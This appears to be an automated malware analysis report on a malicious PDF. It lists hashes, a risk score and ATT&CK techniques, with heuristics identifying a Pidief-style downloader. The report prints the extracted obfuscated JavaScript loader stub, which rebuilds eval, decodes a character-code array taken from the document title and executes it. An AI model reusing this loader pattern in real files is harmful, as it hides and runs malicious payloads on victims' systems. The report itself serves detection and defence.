Malicious PDF — malware analysis report

Static analysis result for SHA-256 016c998eb064ef7e…

MALICIOUS

PDF

44.9 KB First seen: 2026-05-07
MD5: 02404bb80e18c1b59904a09a022eaf23 SHA-1: 2451d0a58d5e47888f691685eb1b6742ed9e9eae SHA-256: 016c998eb064ef7e5c281395283112f18ef07254e4b7f62ed94a81e0edbc4077
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript, identified as a Pidief-style loader. This script is designed to decode and execute a secondary payload, likely by reconstructing a URL from concatenated strings and fetching a malicious file. The ML classifier strongly indicates maliciousness, and the presence of obfuscated JavaScript points to a downloader.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB120 455 bytes
SHA-256: 7c216f37db8d702af9f47bdd90baa0a35b3303b9a2821ecdcab697256ffd9f68
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
gxpjq='';
eiaru=('qwrwqr','tit');
e('yyeze=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
geofx=e('String.fr'+yyeze.substr(0,10));
ongg = e(yyeze.substr(10)['replace'](/u/g,','));
e('k=ongg.length');
for (i = 0; i < k; i+=2) {
	yarm = ongg[i+1] + ('erybjkerl',ongg[i]);
	gxpjq += geofx(yarm);
}
e(gxpjq);

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